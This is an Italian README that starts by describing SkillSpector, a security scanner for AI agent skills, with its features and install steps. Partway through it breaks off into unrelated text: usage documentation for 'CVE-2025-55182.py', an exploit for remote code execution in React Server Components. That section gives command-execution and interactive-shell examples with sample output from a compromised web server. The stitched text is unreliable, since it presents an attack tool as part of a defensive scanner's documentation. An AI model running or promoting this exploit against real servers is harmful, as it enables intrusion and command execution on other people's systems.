SkillSpector

Scanner di sicurezza per le skill degli agenti AI. Rileva vulnerabilità, pattern malevoli e rischi di sicurezza prima di installare le skill degli agenti.

Panoramica

Le skill degli agenti AI (utilizzate da Claude Code, Codex CLI, Gemini CLI, ecc.) vengono eseguite con fiducia implicita e una verifica minima. Nel sottoinsieme di 31.132 skill analizzate del dataset di ricerca, il 26,1% delle skill contiene vulnerabilità e il 5,2% mostra una probabile intenzione malevola.

SkillSpector ti aiuta a rispondere alla domanda: "Questa skill è sicura da installare?"

SkillSpector fa parte della pipeline NVIDIA Verified Skills, che analizza, valuta e firma le skill degli agenti prima della pubblicazione. Le skill che superano i controlli vengono pubblicate nel catalogo delle skill NVIDIA.

Documentazione

• Scansiona le skill degli agenti prima dell'installazione — Guida ospitata: quando eseguire la scansione, come leggere un report e come bloccare le installazioni.
• Guida allo sviluppo — Architettura, struttura dei pacchetti e come estendere la pipeline di analisi.
• Limiti delle risorse di analisi — Bundle fail-closed, parser, artefatti annidati, ledger e limiti dei risultati.
• Estensione Pi — Installa SkillSpector come strumento Pi per scansionare le skill dall'interno delle sessioni degli agenti.
• Estensione OpenCode — Installa SkillSpector come strumento OpenCode e comando /skillspector per scansionare le skill dall'interno delle sessioni degli agenti.

Funzionalità

• Input multi-formato: scansiona repository Git, URL, file zip, directory o singoli file
• 71 pattern di vulnerabilità in 17 categorie: prompt injection, esfiltrazione di dati, escalation di privilegi, supply chain, agenzia eccessiva, gestione dell'output, fuga del system prompt, avvelenamento della memoria, uso improprio degli strumenti, agente rogue, anti-rifiuto, abuso dei trigger, codice pericoloso (AST), taint tracking, firme YARA, privilegio minimo MCP e avvelenamento degli strumenti MCP
• Analisi in due fasi: analisi statica rapida + valutazione semantica LLM opzionale
• Ricerche di vulnerabilità in tempo reale: SC4 interroga OSV.dev per dati CVE in tempo reale con fallback offline automatico
• Molteplici formati di output: report in Terminale, JSON, Markdown e SARIF
• Punteggio di rischio: punteggio da 0 a 100 con etichette di gravità e raccomandazioni chiare
• Baseline / soppressione dei falsi positivi: accetta risultati noti tramite una regola glob o una baseline di fingerprint, così le nuove scansioni evidenziano solo i problemi nuovi (documentazione)

Avvio rapido

Installazione

Avviso sul software open source: Questo progetto scaricherà e installerà ulteriori progetti software open source di terze parti. Esamina i termini di licenza di questi progetti open source prima dell'uso.

Crea e attiva prima un ambiente virtuale (tutti i target di make presuppongono che il venv sia attivo). Usa uv o pip; il Makefile usa uv se disponibile, altrimenti pip.

Installazione rapida con uv (solo CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git

Update later: uv tool update skillspector

Se prevedi di eseguire `skillspector mcp`, installa l'extra MCP al momento dell'installazione:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'

Dalla fonte:```bash

Clone the repository

git clone https://github.com/NVIDIA/skillspector.git cd skillspector

Create and activate virtual environment

uv venv .venv && source .venv/bin/activate

or: python3 -m venv .venv && source .venv/bin/activate

Install for production use

make install

Or install with development dependencies

make install-dev

### Docker (nessun Python richiesto)

Esegui SkillSpector senza installare Python compilandolo localmente dal [Dockerfile](https://github.com/nvidia/skillspector/blob/main/Dockerfile) incluso. L'immagine si basa sull'immagine Docker Official Python `3.12-slim-bookworm`.

**Compila l'immagine:**```bash
make docker-build
# or: docker build -t skillspector .

Scansiona una directory locale montando la tua directory corrente in /scan, la directory di lavoro del container:```bash docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm

**Scansione con analisi LLM** passando le credenziali tramite un file `.env` locale:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF

Utilizzo

python3 CVE-2025-55182.py -u <URL> [opzioni]

Opzioni

Opzione	Descrizione	Predefinito
-u, --url	URL di destinazione (obbligatorio)	-
-c, --cmd	Comando da eseguire	id
-t, --timeout	Timeout della richiesta in secondi	10
-v, --verbose	Abilita output dettagliato	False
--check	Modalità di verifica della vulnerabilità	False
--shell	Modalità shell interattiva	False
--proxy	URL del proxy (es. http://127.0.0.1:8080)	None
--headers	Intestazioni personalizzate (formato JSON)	None
--cookies	Cookie (formato stringa)	None
--no-color	Disabilita output colorato	False

Esempi

Verifica della vulnerabilità:

python3 CVE-2025-55182.py -u http://target.com --check

Esecuzione di un comando:

python3 CVE-2025-55182.py -u http://target.com -c "whoami"

Shell interattiva:

python3 CVE-2025-55182.py -u http://target.com --shell

Con proxy:

python3 CVE-2025-55182.py -u http://target.com --proxy http://127.0.0.1:8080 -c "id"

Con intestazioni personalizzate:

python3 CVE-2025-55182.py -u http://target.com --headers '{"Authorization": "Bearer token"}' -c "id"

Con cookie:

python3 CVE-2025-55182.py -u http://target.com --cookies "session=abc123" -c "id"

Esempi di output

Verifica della vulnerabilità

[*] Verifica della vulnerabilità di http://target.com
[+] Il target sembra VULNERABILE!
[+] Payload inviato con successo
[+] Tempo di risposta: 0.523s

Esecuzione di un comando

[*] Target: http://target.com
[*] Comando: id
[+] Invio del payload...
[+] Comando eseguito con successo!

--- Output del comando ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
--------------------------

Modalità shell interattiva

[*] Target: http://target.com
[*] Modalità shell interattiva
[*] Digitare 'exit' o 'quit' per uscire

shell> whoami
www-data

shell> ls -la
total 48
drwxr-xr-x  1 root root 4096 Nov 15 10:30 .
drwxr-xr-x  1 root root 4096 Nov 15 10:30 ..
-rw-r--r--  1 root root  220 Nov 15 10:30 .env
...

shell> exit
[*] Uscita...

Funzionamento

Il tool sfrutta CVE-2025-55182, una vulnerabilità di prototype pollution in React Server Components che porta a RCE (Remote Code Execution).

Dettagli tecnici